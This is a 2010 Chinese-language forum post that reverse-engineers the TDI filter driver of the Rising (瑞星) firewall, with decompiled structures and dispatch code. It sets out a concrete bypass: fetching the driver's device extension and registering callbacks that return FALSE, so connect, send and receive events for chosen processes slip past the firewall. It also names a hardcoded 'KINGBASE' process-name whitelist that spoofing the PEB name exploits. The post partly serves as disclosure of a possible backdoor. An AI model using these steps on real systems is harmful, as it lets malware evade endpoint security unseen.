本帖最后由 Lgwu 于 2010.8.20 17:51 编辑
对应漏洞补丁修复后,防火墙不阻止也不会有问题。
同时给楼主点代码吧,不知道目前瑞星是否解决了该问题。
- 有意思的瑞星防火墙Tdi过滤驱动内部调用解析tdi 过滤驱动设备名为 "RFWTDI" ,关键处理函数函数和DEVICE_EXTENSION结构如下
- #define CALLBACK_CREATE_INDEX 0
- #define CALLBACK_CLEANUP_INDEX 2
- #define CALLBACK_PROCESSID_INDEX 3
- #define CALLBACK_SEND_INDEX 4
- #define CALLBACK_CONNECT_INDEX 5
- #define CALLBACK_DISCONNECT_INDEX 6
- #define CALLBACK_SET_EVENT_INDEX 7
- #define CALLBACK_RECEIVE_INDEX 8
- #define CALLBACK_SEND_DATAGRAM_INDEX 15
- typedef BOOLEAN (*PFN_Callback)(PDEVICE_OBJECT DeviceObject,PIRP Irp,NTSTATUS* Status);
- BOOLEAN SetTdiCallbackFunction(int CallbackIndex,FARPROC pfnCallback,int arg_8);
- BOOLEAN RemoveTdiCallbackFunction(int CallbackIndex,FARPROC pfnCallback,int arg_8)
- typedef struct _DEVICE_EXTENSION
- {
- FARPROC SetCallback;
- FARPROC RemoveCallback;
- FARPROC pFindObjectInfo;
- PDEVICE_OBJECT AttachedTcpDevice;
- PDEVICE_OBJECT SourceTcpDevice;
- PDEVICE_OBJECT AttachedUdpDevice;
- PDEVICE_OBJECT SourceUdpDevice;
- PDEVICE_OBJECT AttachedRawIpDevice;
- PDEVICE_OBJECT SourceRawIpDevice;
- } DEVICE_EXTENSION,*PDEVICE_EXTENSION;
- 调用方法:
- IoGetDeviceObjectPointer 得到设备对象,然后得到DEVICE_EXTENSION结构
- 通过调用 DeviceExtension->SetCallback 函数去过滤各个Tdi事件进行by pass
- 我们来看看过滤驱动的 IRP_MJ_CREATE 的处理和 by pass
- NTSTATUS Dispatch_Create(IN PDEVICE_OBJECT DeviceObject,
- IN PIRP Irp,PIO_STACK_LOCATION IrpSp)
- {
- NTSTATUS Status = STATUS_SUCCESS;
- WCHAR ProcessName[0x20];
- PDEVICE_OBJECT AttachedObject; // var_8
- UCHAR ProtocolType;
- PFN_TdiFunction* pfnTdi;
- AttachedObject = GetAttachedTargetDevice(DeviceObject,
- &ProtocolType,Irp);
- if(!AttachedObject)
- {
- Irp->IoStatus.Information = 0;
- Irp->IoStatus.Status = STATUS_SUCCESS;
- IoCompleteRequest(Irp,IO_NO_INCREMENT);
- Status = STATUS_SUCCESS;
- return Status;
- }
-
- GetCurrentProcessName(ProcessName);
- _wcsupr(ProcessName);
- do
- {
- if(wcsncmp(ProcessName,L"KINGBASE",8) == 0)
- {
- break;
- }
- if(pfn_TdiCallbacks[CALLBACK_CREATE_INDEX][0])
- {
- pfnTdi = (PFN_TdiFunction*)pfn_TdiCallbacks[CALLBACK_CREATE_INDEX];
- do
- {
- if(!(*pfnTdi))
- {
- break;
- }
- if(!(*pfnTdi)(DeviceObject,Irp,&Status))
- { // Bypass 掉了
- Irp->IoStatus.Information = 0;
- Irp->IoStatus.Status = STATUS_SUCCESS;
- IoCompleteRequest(Irp,IO_NO_INCREMENT);
- return Status;
- }
- pfnTdi++;
- } while (TRUE);
- }
- ...
- 我们在我们的驱动中定义一个 PFN_Callback 函数 MyCallback ,
- BOOLEAN (*PFN_Callback)(PDEVICE_OBJECT DeviceObject,PIRP Irp,NTSTATUS* Status)
- {
- // 是我们要by pass 的进程 return FALSE;
- }
- 然后调用
- DeviceExtension->SetCallback(CALLBACK_CREATE_INDEX,MyCallback,0);
- 其它Tdi过滤同样可利用来 ByPass
- DeviceExtension->SetCallback(CALLBACK_CONNECT_INDEX,MyCallback,0); // TdiConnect
- DeviceExtension->SetCallback(CALLBACK_SEND_INDEX,MyCallback,0); // TdiSend
- DeviceExtension->SetCallback(CALLBACK_RECEIVE_INDEX,MyCallback,0); // TdiReceive
- 等等
- 当然,你也可以简单的将PEB 进程名改为 kingbase 进行 By Pass
- 是否是后门,有待探讨。
复制代码
|